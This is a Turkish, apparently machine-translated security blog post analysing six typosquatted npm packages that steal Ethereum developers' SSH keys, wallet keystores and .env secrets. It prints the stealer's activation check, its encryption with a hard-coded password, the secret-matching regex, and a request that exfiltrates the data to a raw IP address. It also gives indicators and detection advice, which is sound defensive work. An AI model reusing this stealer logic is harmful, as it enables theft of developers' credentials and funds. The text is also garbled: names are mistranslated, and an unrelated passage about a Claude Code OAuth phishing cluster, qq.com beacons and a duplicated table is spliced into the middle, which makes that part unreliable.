EVMDeFi npm'de Yazım Hatasıyla Alan Adı Ele Geçirme Saldırısı Geliştirici Anahtarlarını Çaldı

EVM/DeFi npm Yazılım Hatasıyla Geliştirici Anahtarlarının Çalınması Saldırısı

TL; DR

6 Mayıs 2026'da, tek bir npm yayıncısı, namikazesarada010206Ethereum, Solidity ve DeFi geliştirici ekosistemini hedef alan altı adet zararlı yazılım paketini yaydı.

Paketler, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, ve web3-utils-corePopüler Web3 araçları için yardımcı kütüphanelere benzeyecek şekilde tasarlanmış, akla yatkın isimler kullanıldı.

Altı paketin tamamı aynı şeyi içeriyordu. telemetry.js Dosya, küme genelinde bayt bazında özdeşti ve SHA-256 ile şu şekilde tanımlandı:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Kötü amaçlı yazılım kurulum sırasında çalışmaz. Hiçbir şey yok. preinstall or postinstall Bunun yerine, paket bir kanca aracılığıyla içe aktarıldığında etkinleşir. require().

Bu ayrıntı önemlidir.

Bu yazılım, geliştirici paketi gerçekten kullanana kadar bekler. Ardından, iş istasyonunun gerçek bir Ethereum/Solidity geliştirme ortamına benzeyip benzemediğini kontrol eder. Alchemy veya Infura anahtarlarını, özel anahtarları, anımsatıcıları, dağıtım anahtarlarını veya yerel bir Foundry dizinini arar.

Sunucu eşleşirse, hırsız SSH özel anahtarlarını, Foundry / Geth / Brownie cüzdan anahtar depolarını toplar. .env* Dosyaları ve hassas ortam değişkenlerini içerir. Paketi, önceden tanımlanmış bir parola kullanarak AES-256-GCM ile şifreler ve TLS doğrulaması devre dışı bırakılmış ham bir IPv4 C2 uç noktasına sızdırır.

Xygeni'nin Kötü Amaçlı Yazılım Erken Uyarı (MEW) sistemi, altı paketin tamamının kötü amaçlı olduğunu doğruladı. npm kayıt defteri kaldırma raporu paketi beklemede.

Küme: Altı Paket, Tek Yayıncı

Yayıncı hesabı namikazesarada010206 Doğrulanmamış Gmail adresiyle bağlantılıydı. namikazesarada010206@gmail.com.

Kampanya, 6 Mayıs 2026'da tek günlük bir yayın olarak ortaya çıktı. Altı paketin tamamı şu şekilde versiyonlandı: 1.0.0Hiçbir çalışma zamanı bağımlılığı yoktu ve yalnızca üç dosya gönderiyordu:

package.json index.js telemetry.js

Aynı kaynak deposunu da beyan ettiler:

https://github.com/harunosakura030303-maker/evmchain-config

İlk üç paket, ilk yayınlandığında MEW tarayıcıları tarafından yakalandı. Kalan üç paket ise yayıncının npm profilinin analist incelemesinin ardından zorunlu olarak işaretlendi. Aynı bayt-özdeş paketler bir kez daha tespit edildi. telemetry.js Küme genelinde doğrulanan bu saldırılar, tutarlılık ilkesi gereği kötü amaçlı yazılım olarak değerlendirilip kapatıldı.

paket Sürümü npm Yayınlandı MEW Bileti Karar
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Kötü niyetli
viem-utils-core 1.0.0 2026-05-06 #51050 Kötü niyetli
baret-çekirdek-araçları 1.0.0 2026-05-06 #51051 Kötü niyetli
evm-utils 1.0.0 2026-05-06 #51069 Tutarlılığıyla kötü niyetli
dökümhane-araçları 1.0.0 2026-05-06 #51071 Tutarlılığıyla kötü niyetli
web3-araçları-çekirdek 1.0.0 2026-05-06 #51070 Tutarlılığıyla kötü niyetli

İsimlendirme stratejisi basit ama etkili.

Bu paketler, tam olarak yukarı akış adlarını taklit etmezler. Bunun yerine, "yardımcı" uzantılar gibi mantıklı son ekler kullanırlar. -core, -utils, ve -utils-coreBu da onları, bir geliştiricinin Web3 araçlarının yakınında görmeyi bekleyebileceği yardımcı kütüphaneler gibi gösteriyor.

Kötü Amaçlı Paket Meşru Hedef
viem-core viem, popüler bir Ethereum TypeScript istemcisi.
viem-utils-core viem
baret-çekirdek-araçları Hardhat, yaygın olarak kullanılan bir Solidity geliştirme ortamı.
evm-utils Genel EVM araçları ad alanı
dökümhane-araçları dökümhane, bir Solidity araç zinciri
web3-araçları-çekirdek web3-utils, Web3.js yardımcıları

Bu, “ek paket” modelidir: “Asıl paket benim” değil, “Asıl paketin etrafında makul bir yardımcı gibi görünüyorum.”

Hızlı hareket eden DeFi geliştiricileri için bu, risk yaratmak için yeterlidir.

Paket İçe Aktarıldığında Ne Olur?

Saldırı zinciri küçük, kasıtlı ve kripto para geliştirme ortamlarına odaklıdır.

Kurulum kancası yok. Bunun yerine, her paket bir adet içerir. index.js Bu, önce temel işlevselliği dışa aktarır ve ardından kötü amaçlı telemetri modülünü yükler.

require('./telemetry').init();

Bu, kötü amaçlı yazılımın ilk içe aktarma işleminde etkinleştiği anlamına gelir.

Bu, saldırgan için operasyonel olarak faydalıdır. Birçok tarayıcı ve sanal ortam, kurulum zamanı davranışına odaklanır. Bu paket, bir geliştirici, derleme betiği, test paketi veya çalışma zamanı yolu tarafından gerçekten kullanılana kadar bekler.

Etkinleştirme Kapısı: Yalnızca Gerçek Web3 Geliştirici İş İstasyonlarında Çalıştırın

İmplantın en önemli kısmı aktivasyon kapısıdır.

Bu kötü amaçlı yazılım, Ethereum/Solidity geliştirme makinelerinde yaygın olarak bulunan ortam değişkenlerini kontrol eder:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Ayrıca Foundry'nin kurulu olup olmadığını da kontrol eder:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Koşulların hiçbiri doğru değilse, fonksiyon geri döner ve hiçbir şey yapmaz.

Bu, paketin genel analiz ortamlarında daha sessiz çalışmasını sağlar. Foundry, Alchemy anahtarları, Infura anahtarları, özel anahtarlar veya anımsatıcılar içermeyen bir sanal ortamda, zararsız görünen bir içe aktarma işlemi görülebilir.

Uygun bir sunucuda, kötü amaçlı yazılım veri toplamadan önce 60 ila 90 saniye bekler:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Gecikme, ithalat ve ihracat arasındaki belirgin ilişkiyi azaltır. .unref() Bu çağrı, paket kısa ömürlü bir betikte içe aktarılmışsa, ana işlemin normal şekilde çıkmasına da olanak tanır.

Bu, rastgele ve gürültülü bir hırsızlık davranışı değil. Geliştirici ortamı çalınmaya değer olmadığı sürece çalışmayacak şekilde tasarlanmış, hedef odaklı bir hırsız yazılımıdır.

Hırsızın Topladıkları

Etkinleştirme aşamasını geçtikten sonra, kötü amaçlı yazılım Web3 geliştirmede en önemli kaynaklardan veri toplar: özel anahtarlar, cüzdan anahtar depoları, dağıtım kimlik bilgileri, bulut sırları, npm token'ları ve yerel proje yapılandırması.

Kaynak Neler Toplanıyor?
süreç.env /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i ile eşleşen herhangi bir değişken
~/.ssh/* PRIVATE KEY veya BEGIN OPENSSH içeren dosyalar, dosyanın tüm içeriğiyle birlikte.
~/.foundry/keystores/* Foundry cüzdanı anahtar deposu dosyaları
~/.ethereum/keystore/* Geth cüzdanı anahtar deposu dosyaları
~/.brownie/hesaplar/* Brownie cüzdanı anahtar deposu dosyaları
${cwd}/.env Dosyanın tam içeriği
${cwd}/.env.local Dosyanın tam içeriği
${cwd}/.env.production Dosyanın tam içeriği
${cwd}/.env.geliştirme Dosyanın tam içeriği
işletim sistemi.ana bilgisayar adı() Sunucu meta verileri
kripto.randomUUID() Mağdur/oturum tanımlayıcısı
tarih.şimdi() Koleksiyon zaman damgası
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA belirteçleri şunlardır:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Telemetri verilerinin operatörün kendi analiz sistemi mi yoksa ayrı bir gelir kanalı mı olduğunu teyit edemedik. İncelediğimiz her iki örnekte de ATTA token'ları aynıdır.

Küme B: heibai

claude.hk OAuth Kimlik Avı + ANTHROPIC_BASE_URL Ele Geçirme

1 Nisan tarihli örnek, kampanyanın daha ilkel ve erken aşamasını temsil ediyor.

heibai:2.1.88-claude.hk-4 tarafından yayınlandı wuguoqiangvip287 Haziran 2025'te oluşturulmuş bir hesap. Paket, kendisini açıkça meşru sürüme göre sürümlendirdi. 2.1.88 İnsani salınım.

CA sertifikası MITM saldırısıyla uğraşmaz. Bunun yerine, kullanıcıya OAuth uç noktası hakkında yanlış bilgi verir.

Sızdırılan Claude Code kaynak kodunun üzerine eklenen kötü amaçlı kodlar şunlardır:

Kaynak Neler Toplanıyor?
süreç.env /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i ile eşleşen herhangi bir değişken
~/.ssh/* PRIVATE KEY veya BEGIN OPENSSH içeren dosyalar, dosyanın tüm içeriğiyle birlikte.
~/.foundry/keystores/* Foundry cüzdanı anahtar deposu dosyaları
~/.ethereum/keystore/* Geth cüzdanı anahtar deposu dosyaları
~/.brownie/hesaplar/* Brownie cüzdanı anahtar deposu dosyaları
${cwd}/.env Dosyanın tam içeriği
${cwd}/.env.local Dosyanın tam içeriği
${cwd}/.env.production Dosyanın tam içeriği
${cwd}/.env.geliştirme Dosyanın tam içeriği
işletim sistemi.ana bilgisayar adı() Sunucu meta verileri
kripto.randomUUID() Mağdur/oturum tanımlayıcısı
tarih.şimdi() Koleksiyon zaman damgası

Hedef listesi oldukça spesifiktir. Bu, genel tarayıcı hırsızlığı veya geniş kapsamlı kimlik bilgisi toplama değildir. Ethereum uygulamaları geliştiren, test eden, dağıtan veya işleten geliştiricileri hedef almaktadır.

Foundry, Geth ve Brownie anahtar depolarının dahil edilmesi özellikle önemlidir. Bu dosyalar, cüzdanlara veya dağıtım kimliklerine doğrudan erişimi temsil edebilir. Saldırgan bunları parolalar, anımsatıcılar veya ortam sırlarıyla eşleştirebilirse, fonları hareket ettirebilir, dağıtımcıları taklit edebilir veya akıllı sözleşme işlemlerini tehlikeye atabilir.

Veri Sızdırmadan Önce Şifreleme

Kötü amaçlı yazılım, topladığı verileri göndermeden önce şifreliyor.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Sabit kodlanmış parola şudur:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Son veri paketi JSON formatında paketlenmiştir:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Şifreleme tek başına kötü amaçlı yazılımı daha gelişmiş hale getirmez. Ancak, ağ denetimini zorlaştırır. Giden trafiği izleyen bir savunmacı JSON yükünü görür, ancak çalınan anahtarları, cüzdan dosyalarını veya diğer bilgileri göremez. .env Sabit kodlanmış parola ve şifre çözme mantığı olmadan içerik.

Ham IPv4 C2 sunucusuna veri sızdırma

Veri sızdırma yolu sabit kodlanmıştır:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Kötü amaçlı yazılım şu adreslere veri gönderiyor:

https://76.13.37.80:8443/api/v1/telemetry

İki ayrıntı dikkat çekiyor.

İlk olarak, C2 bir alan adı değil, ham bir IPv4 adresidir. Bu, alan adı kaydına gerek kalmamasını ve alan adı tabanlı bazı tespitlerin önlenmesini sağlar.

İkinci olarak, TLS doğrulaması şu şekilde devre dışı bırakılır:

rejectUnauthorized: false

Bu durum, kötü amaçlı yazılımın kendi kendine imzalanmış sertifikalar da dahil olmak üzere herhangi bir sertifikayı kabul etmesine olanak tanır. Başka bir deyişle, saldırgan geçerli bir genel sertifikaya ihtiyaç duymadan şifrelenmiş iletim elde eder.

Yeniden deneme mantığı veya yedek sunucu bulunmamaktadır. Hatalar sessizce göz ardı edilir. Bu, C2 sunucusu çevrimdışı veya erişilemez olduğunda paketin sessiz kalmasını sağlar.

Bu Kampanya Neden Önemlidir?

Geliştiricileri hedef alan kötü amaçlı npm paketlerinin çoğu, npm token'ları, AWS anahtarları, GitHub token'ları gibi genel kimlik bilgilerini hedef alır. .npmrc dosyaları.

Bu kampanya hedef kitleyi daraltıyor.

Makinenin bir Ethereum veya Solidity geliştiricisine ait olduğuna dair işaretler arar. Ardından, o ortamda önemli olan varlıkları çeker: cüzdan anahtar depoları, özel anahtarlar, anımsatıcılar, dağıtım anahtarları, .env Dosyalar ve SSH anahtarları.

Bu durum, söz konusu kampanyayı Web3 ekipleri için genel bir npm hırsızlığı aracından daha tehlikeli hale getiriyor.

Başarılı bir enfeksiyon şu durumları ortaya çıkarabilir:

  • Dağıtım cüzdanları
  • Akıllı sözleşme yönetim anahtarları
  • RPC sağlayıcı anahtarları
  • Bulut dağıtım kimlik bilgileri
  • npm yayınlama belirteçleri
  • Geliştirici veya derleme altyapısına SSH erişimi
  • Proje sırları burada saklanıyor. .env Dosyaları
  • Foundry, Geth veya Brownie için cüzdan anahtar depoları

Paket adları da açıkça sosyal mühendislik örneği sergiliyor. Tanıdık araç adları aracılığıyla Web3 geliştirici ekosistemini hedef alıyorlar: viem, hardhat, foundry, evm, ve web3.

Oyuncunun gerçek projelerinden ödün vermesine gerek yok. Sadece makul görünen bir yardımcı paketi kuracak bir geliştiriciye ihtiyaçları var.

Güvenlik İhlali ve Tespit Göstergeleri

Paketler ve Yayıncı
Alan Özellik
npm yayıncısı namikazesarada010206
Yayıncı e-postası namikazesarada010206@gmail.com
E-posta Doğrulandı Yok hayır
SCM Doğrulanmış Yok hayır
İtibar puanı 1.0
Paketler viem-core, viem-utils-core, hardhat-core-utils, evm-utils, dökümhane-utils, web3-utils-core
sürümler Tüm 1.0.0
Kaynak deposu https://github.com/harunosakura030303-maker/evmchain-config
Kötü amaçlı olduğu doğrulandı. Altı paketin tamamı
Menşei Özellik
C2 uç noktası https://76.13.37.80:8443/api/v1/telemetry
C2 IP'si 76.13.37.80
C2 bağlantı noktası 8443/tcp
TLS davranışı Yetkisiz reddedildi: yanlış
Yük şeması {"v":2,"iv": ,"D": ,"T": }
Dosyalar ve Karma Değerler
Menşei Özellik
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Paket düzeni package.json, index.js, telemetry.js
Dosya sayısı 3
Yaklaşık toplam boyut 3.4 KB

Aktivasyon Sinyalleri

Kötü amaçlı yazılım şu ortam değişkenlerini kontrol eder:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Ayrıca şunları da kontrol eder:

~/.foundry/

Hedeflenen Ana Bilgisayar Yolları

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Koleksiyon Regex'i

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Tespit Notları

Bu kampanyayı, kapsamlı bir davranış analizi yapmaya gerek kalmadan yakalayabilecek birkaç kural mevcut.

Öncelikle, kilit dosyalarında altı kötü amaçlı paket adını tarayın:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Herhangi bir maçta package-lock.json, yarn.lock, pnpm-lock.yamlya da node_modules Tarih, ciddi bir olay olarak ele alınmalıdır.

İkinci olarak, cüzdan anahtar deposu yollarını okuyan Node.js işlemlerini izleyin:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Bu, yardımcı bağımlılık olarak içe aktarılan bir paket için nadiren meşru bir davranıştır. Özellikle de bunu takiben giden ağ etkinliği olduğunda oldukça şüphelidir.

Üçüncüsü, aşağıdaki HTTPS bağlantılarını engelleyin veya bunlara uyarı verin:

76.13.37.80:8443

Özellikle istek yolu şu olduğunda:

/api/v1/telemetry

Dördüncüsü, bu özellikleri bir araya getiren npm paketlerini arayın:

  • Yeni veya düşük itibarlı yayıncı
  • Doğrulanmamış Gmail hesabı
  • Web3 ile ilişkili paket adı
  • Anlamlı bir depo geçmişi yok.
  • Küçük paket düzeni
  • index.js telemetri veya yardımcı dosyayı yükleyen
  • Çalışma zamanı bağımlılığı yok.
  • Hassas çevre değişkenli koleksiyon
  • Cüzdan anahtar deposuna erişim

Bu model, tek bir IOC'den daha kullanışlıdır çünkü bir sonraki paket IP adresini değiştirebilir ancak aynı hedefleme mantığını koruyabilir.

Uzlaşma Yanıtı Kontrol Listesi

Eğer bir geliştirici altı paketten birini kullandıysa ve ortamı etkinleştirme eşiğiyle eşleşiyorsa, iş istasyonunu tehlikeye girmiş olarak değerlendirin.

Buna Foundry kurulu makineler, ortamda Alchemy veya Infura anahtarları, özel anahtarlar, anımsatıcılar veya dağıtım anahtarları da dahildir.

Önerilen yanıt:

  • Ana bilgisayarı ağdan ayırın.
  • Korumak node_modulesKilit dosyaları, kabuk geçmişi ve adli inceleme için ilgili günlükler.
  • Her SSH anahtar çiftini aşağıdaki şekilde döndürün. ~/.ssh/.
  • Cüzdan anahtarlarını her anahtar deposu için döndürün. ~/.foundry, ~/.ethereum, ve ~/.brownie.
  • Parayı yeni cüzdanlara aktarın.
  • Saklanan her gizli bilgiyi döndürün. .env* Geliştiricinin çalıştığı depolardaki dosyalar.
  • AWS anahtarları, npm belirteçleri, dağıtım belirteçleri, API anahtarları, özel anahtarlar, kurtarma anahtarları ve anımsatıcılar dahil olmak üzere, koleksiyon regex'ine uyan ortam sırlarını döndürün.
  • Paketin ilk kurulumundan bu yana bulut, npm, GitHub, RPC sağlayıcısı ve blockchain etkinliklerinin denetimi.
  • İş istasyonunu tekrar kullanmadan önce yeniden imajlayın.

Savunmacıların Bu Dersten Çıkarması Gerekenler

Bu kampanya, npm'de yazım hatasıyla alan adı ele geçirme olayının yüksek değerli geliştirici ekosistemlerinde nasıl geliştiğini gösteriyor.

Aktörün kalıcılığa ihtiyacı yoktu. Gizlemeye ihtiyacı yoktu. Hatta kurulum sırasında çalıştırılmaya bile ihtiyacı yoktu.

Bunun yerine üç şeye güvendiler:

  • Olası Web3 paket adları
  • Etkinleştirme yalnızca gerçek kripto geliştirme makinelerinde yapılır.
  • Ethereum geliştiricileri için en önemli olan dosyaların ve sırların doğrudan çalınması.

Bu durum, kampanyanın geniş çaplı taramalarda gözden kaçmasını kolaylaştırırken, doğru ortamda ortaya çıktığında tehlikeli hale gelmesine de neden oluyor.

Web3 ekipleri için ders açık: bağımlılık adlarını tehdit modelinizin bir parçası olarak ele alın. Zararsız bir yardımcı gibi görünen bir paket, cüzdanınızın ele geçirilmesine giden en kısa yol olabilir.

npm kayıt defterine bildirildi. Yayıncı hesabı ve paketler kaldırıldığında bu gönderiyi güncelleyeceğiz.

sca-tools-software-composition-analysis-tools
Yazılım risklerinizi önceliklendirin, giderin ve güvence altına alın.
Ücretsiz hesabınızı alın.
Hiçbir kredi kartı gerekmektedir.

Yazılım Geliştirme ve Teslimatınızı Güvence Altına Alın

Xygeni Ürün Paketi ile